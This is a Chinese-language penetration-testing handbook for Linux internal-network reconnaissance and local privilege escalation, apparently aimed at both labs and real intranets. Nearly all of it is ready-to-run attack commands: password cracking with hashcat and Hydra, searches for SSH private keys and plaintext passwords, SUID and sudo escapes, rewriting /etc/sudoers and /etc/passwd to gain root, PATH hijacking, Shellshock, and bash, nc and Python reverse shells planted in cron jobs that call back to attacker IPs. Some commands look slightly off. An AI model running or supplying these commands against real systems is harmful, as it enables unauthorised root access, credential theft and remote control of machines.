Linux内网信息收集与本地提权全流程手册
本文为独立 Linux 内网渗透专项手册,涵盖系统信息收集、用户/环境/进程/日志枚举、密码爆破、SSH私钥挖掘、SUID提权、PATH环境变量劫持、Sudo提权、计划任务提权、内核漏洞、rbash逃逸、共享库注入、Capability权限提权全套实战命令,适配靶场及真实内网渗透场景。
一、Linux 基础系统信息收集
1. 内核版本探测(内核提权前置)
1
2
3
4
5
| # 查看完整内核、系统架构信息
uname -a
# 查看系统内核详细版本
cat /proc/version
|
2. 自动内核漏洞探针
工具:linux-exploit-suggester,自动匹配内核版本可利用本地提权漏洞
3. 用户与权限枚举
1
2
3
4
5
| # 筛选home目录下拥有bash登录权限的用户
cat /etc/passwd | grep home | grep bash
# 查看其他用户家目录,寻找备份文件、密钥、配置文件
cd /home; ls -al
|
4. 环境变量与历史命令抓取
1
2
3
4
5
6
| # 查看系统全部环境变量(可能泄露路径、密钥、代理、账号信息)
env
set
# 查看当前用户历史命令(高频泄露密码、路径、数据库信息)
history
|
二、密码哈希爆破(Hashcat)
适用于抓取 Linux shadow 哈希后,本地离线暴力破解
1
2
3
4
5
| # 1. 纯数字 1~8位 递增爆破(自动启停)
hashcat -m 1800 哈希值 -a 3 -i --increment-min 1 --increment-max 8 ?d?d?d?d?d?d?d?d
# 2. 数字+小写字母 1~6位 递增爆破
hashcat -m 1800 哈希值 -a 3 -i --increment-min 1 --increment-max 6 ?h?h?h?h?h?h
|
三、进程、服务、计划任务枚举
1
2
3
4
5
6
7
8
9
10
11
| # 查看系统全部进程、运行服务、可疑后台程序
ps aux
# 查看系统预设服务端口与配置
cat /etc/services
# 查看当前用户计划任务(定时任务提权核心)
crontab -l
# 查看系统全局计划任务
cat /etc/crontab
|
四、SSH私钥探测与利用(无密码登录)
原理:抓取各用户私钥 id_rsa,本地修改权限 600 即可免密登录对应账号
1
2
3
4
5
| # 遍历所有用户目录,查找SSH私钥(排除公钥)
find /home /root -name "id_*" -path "*/.ssh/*" -not -name "*.pub" -ls 2>/dev/null
# 查看私钥权限(必须600才可使用,否则SSH拒绝登录)
find /home /root -name "id_*" -path "*/.ssh/*" -not -name "*.pub" -exec ls -l {} \; 2>/dev/null
|
五、系统明文密码检索
1
2
3
4
5
| # 全局检索6位以上大小写+数字组合明文密码(排除系统临时目录)
grep -rn ".*[0-9a-zA-Z]{6,}" /etc /home /root --exclude-dir={proc,sys,dev,tmp} 2>/dev/null
# 全局检索含pass关键词的配置文件、明文密码
grep -R -i pass /home/* 2>/dev/null
|
技巧:数据库密码、系统用户密码大概率复用,可直接密码喷洒横向爆破SSH、数据库服务。
六、网站/备份文件探测 + SSH爆破
重点扫描网站根目录、home目录下 .bak/.zip/.tar/.sql/.conf 备份文件,大概率泄露账号密码
拿到密码字典后使用 Hydra 批量爆破 SSH:
1
| hydra -L 用户字典.txt -P 密码字典.txt 目标IP ssh
|
七、日志信息排查(溯源 \& 信息挖掘)
1
2
3
4
5
6
7
8
9
10
| # 系统全局日志
/var/log
# Apache 网页日志
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
# Nginx 网页日志
cat /var/log/nginx/access.log
cat /var/log/nginx/error.log
|
八、Linux 高频本地提权方法(核心)
1. SUID 权限漏洞提权
原理:root所属文件被错误配置SUID(4000)权限,普通用户执行可提升至root权限
1
2
3
4
5
| # 查找所有root用户、带SUID权限的程序
find / -user root -perm -4000 -print 2>/dev/null
# 查看指定文件读写权限
ls -la /var/www/backup/procwatch
|
常见可利用SUID程序逃逸Payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| # 1. tmp目录执行逃逸
find /tmp -exec /bin/sh -p \; -quit
# 2. vim/vim.tiny 提权
vim -c ':!/bin/bash'
vim.tiny /etc/passwd
# 3. vi 编辑器提权
vi /xxx
# 普通模式输入
:shell
# 4. less 命令提权
less /etc/passwd
# 输入 ! 后执行bash
!bash
# 5. gcc sudo 提权
sudo gcc -wrapper /bin/sh,-s .
# 6. systemctl 提权(写入恶意服务反弹shell)
# 7. 自定义PATH劫持提权(tmp目录伪造系统命令)
|
陌生SUID程序利用:searchsploit 程序名,可下载EXP本地编译利用。
2. PATH 环境变量劫持提权
原理:程序调用系统命令(ps/sh/tail等)未写绝对路径,可伪造同名恶意程序,劫持执行root权限命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| # 方式1:伪造ps劫持
ln -s /bin/sh ps
export PATH=.:$PATH
# 运行原二进制程序,触发sh提权
# 方式2:前置tmp目录优先级
export PATH=/tmp:$PATH
# 方式3:伪造tail反弹shell
touch tail
echo 'bash -c "bash -i >& /dev/tcp/192.168.79.130/7777 0>&1"' > tail
chmod +x tail
export PATH=.:$PATH
# 执行依赖tail的sudo脚本
sudo --preserve-env=PATH /usr/bin/check_syslog.sh
|
3. Sudo 权限滥用提权(最全合集)
1
2
3
4
5
| # 查看当前用户所有sudo免密权限
sudo -l
# 直接切换root
sudo su
|
3.1 可写文件枚举
1
2
3
4
5
| # 全局查找777权限可写文件
find / -perm 0777 -type f 2>/dev/null
# 全局查找用户可写文件(排除系统目录)
find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys | grep -v var
|
3.2 Git 提权
1
2
3
| sudo git help config
# 输入 !/bin/bash 逃逸交互Shell
!/bin/bash
|
3.3 指定低权限用户执行恶意脚本
1
2
| echo '/bin/bash' >> backups.sh
sudo -u jens ./backups.sh
|
3.4 Teehee 写入sudoers提权(万能提权)
1
2
| # 赋予当前用户全部sudo权限无密码
echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers
|
3.5 Nmap NSE脚本提权
1
2
| echo 'os.execute("/bin/sh")' > getshell.nse
sudo nmap --script=getshell.nse
|
3.6 自定义系统用户(passwd写入)
1
2
3
4
5
| # 生成自定义密码哈希
openssl passwd 123456
# 写入/etc/passwd 创建root权限用户
kali:bwfgXppOVV0PI:0:0::/root:/bin/bash
|
3.7 Mv 命令劫持提权
1
2
3
4
| sudo mv /bin/tar /bin/tar.orgi
sudo mv /bin/su /bin/tar
# 执行tar触发su权限
sudo tar
|
3.8 Perl / grc 提权
1
2
3
4
5
| # Perl反弹bash
sudo perl -e 'exec "/bin/bash";'
# grc提权
sudo grc --pty /bin/sh
|
4. 内核漏洞提权
代表漏洞:脏牛(Dirty COW),适用于低版本Linux内核
1
2
3
4
5
6
7
| # 查看内核版本
uname -a
# 搜索对应内核本地提权EXP
searchsploit 2.6.3 Local
# 优先测试 .c / .sh 格式提权脚本
|
5. 计划任务漏洞提权
原理:root定时任务调用可编辑脚本/文件,低权限用户写入反弹Shell,等待定时执行
1
2
3
4
5
6
7
8
9
10
11
| # 查看定时任务
cat /etc/crontab
# Bash反弹Shell写入任务文件
echo "bash -c 'bash -i >& /dev/tcp/192.168.79.133/7777 0>&1'" >> 10-help-text
# NC反弹Shell
echo 'nc -e /bin/bash 192.168.79.133 7777' >> write.sh
# 攻击机监听
nc -lvp 7777
|
Python定时任务反弹Shell
1
2
3
4
5
6
7
8
| #!/usr/bin/env python
import socket,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.79.133",7777))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")
|
6. rbash 受限Shell逃逸
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| # 查看当前环境变量
echo $PATH
# 查看可用命令
ls /home/mindy/bin
# 查看隐藏逃逸文件
ls -a
# BASH_CMDS 后门逃逸
BASH_CMDS[su]=/bin/sh
su
# 补全系统命令路径
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
su jerry
|
sshpass 免密登录逃逸
1
2
| # 首次登录后可免密交互
sshpass -p 'P@55W0rd1!2@' ssh mindy@192.168.79.176 -t bash
|
7. Shellshock 破壳漏洞
适用版本:Bash < 4.3
1
2
3
4
5
6
7
8
| # 查看bash版本
bash --version
# 漏洞检测
Env x='() { :; };echo vulnerable' bash -c data
# 漏洞利用写入sudoers提权
Env x='() { :; }; echo /bin/echo "user ALL=(ALL)ALL" >> /etc/sudoers'
|
8. SO 共享库注入提权
原理:程序加载自定义动态链接库,可写目录覆盖so文件实现代码执行
1
2
3
4
5
| # 编译恶意so共享库
gcc -shared -fPIC -o demo.so demo.c -nostartfiles
# 执行依赖该so的程序,触发提权代码
/script/demo
|
9. Capabilities 权限机制提权
1
2
3
4
5
| # 扫描系统特殊Capability权限
getcap -r / 2>/dev/null
# 拥有setuid权限时直接提权root
python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
|
手册总结
1. Linux渗透流程:信息枚举 → 密钥/密码抓取 → 漏洞探针 → 权限错位利用 → 提权落地;
2. 内网Linux机器最高频突破口:SUID错位、Sudo免密权限、PATH劫持、计划任务可写、SSH私钥泄露;
3. 低版本内核优先尝试脏牛等内核EXP,受限Shell优先环境变量逃逸、命令劫持;
4. 所有提权思路均可组合使用,先自动化探针,再人工针对性复核利用。
(注:部分内容可能由 AI 生成)